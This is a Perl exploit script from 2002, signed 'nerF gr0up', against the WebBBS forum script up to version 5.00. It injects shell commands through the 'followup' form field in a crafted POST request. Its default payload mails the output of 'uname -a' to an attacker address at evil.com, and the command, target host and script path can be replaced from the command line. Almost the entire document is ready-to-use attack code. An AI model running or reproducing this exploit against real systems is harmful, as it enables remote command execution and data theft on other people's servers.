#!/usr/bin/perl
#
#  nerF gr0up
#
#  exploit code for
#  WebBBS by Darryl C. Burgdorf
#  all version up to 5.00 are vulnerable
#
#
#  this is an exploitation of "followup" bug.
#  it allows remote attacker to execute shell
commands.
#  you can find WebBBS script at
http://awsd.com/scripts/webbbs/
#
#  06.06.2002
#  btr // nerf
# nerf.ru

use IO::Socket;

        srand();
        $script = "/cgi-bin/webbbs/webbbs_config.pl";
        $command = "uname -a|mail zlo@evil.com";
        $host = "localhost";
        $port = 80;

        $content = "$content" . "name=" . rand(254);
        $content = "$content" . "&email=" . rand(254);
        $content = "$content" . "&subject=" .
rand(254);
        $content = "$content" . "&body=" . rand(254);

$content="$content"."&followup=".rand(254)."|$command|";

        $content_length = length($content);
        $content_type =
"application/x-www-form-urlencoded";

        if (@ARGV[0]) {$command=@ARGV[0];}
        if (@ARGV[1]) {$host=@ARGV[1];}
        if (@ARGV[2]) {$script=@ARGV[2];}

        $buf = "POST " . "$script" . "?post
HTTP/1.0\n";
        $buf = "$buf" . "Content-Type:
$content_type\r\nContent-Length:";
        $buf = "$buf" .
"$content_length\r\n\r\n$content", 0;

        print "\tnerF gr0up\n";
        print "exploit: WebBBS (awsd.com), version up
to 5.00\n";

        print "sent:\n$buf\n";

if($socket = IO::Socket::INET->new("$host:$port")){

        print $socket "$buf";
        read($socket,$buf,1500);
        print "recieved:\n$buf\n";
}

